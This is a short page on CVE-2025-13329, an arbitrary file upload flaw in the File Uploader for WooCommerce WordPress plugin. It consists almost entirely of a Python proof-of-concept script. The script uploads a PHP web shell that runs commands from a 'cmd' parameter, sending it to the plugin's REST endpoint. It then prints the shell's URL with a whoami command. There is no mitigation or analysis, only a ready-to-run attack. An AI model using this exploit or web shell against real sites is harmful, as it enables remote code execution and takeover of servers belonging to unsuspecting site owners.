CVE-2025-13329 WordPress File Uploader for WooCommerce 任意文件上传漏洞

import requests import json # CVE-2025-13329 PoC - File Uploader for WooCommerce Arbitrary File Upload # Target: WordPress site with File Uploader for WooCommerce plugin <= 1.0.3 TARGET_URL = "https://vulnerable-site.com" WP_REST_API = f"{TARGET_URL}/wp-json/file-uploader/v1/add-image-data" # Malicious PHP file content for RCE php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" # Prepare the malicious file files = { 'file': ('shell.php', php_payload, 'application/x-php') } # Send the malicious file upload request response = requests.post(WP_REST_API, files=files, verify=False) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, the attacker can then download and execute the shell if response.status_code in [200, 201]: result = response.json() print(f"File uploaded successfully!") print(f"File URL: {result.get('file_url', 'Check response')}") print(f"Now access the shell at: {TARGET_URL}/wp-content/uploads/{result.get('filename', 'shell.php')}?cmd=whoami")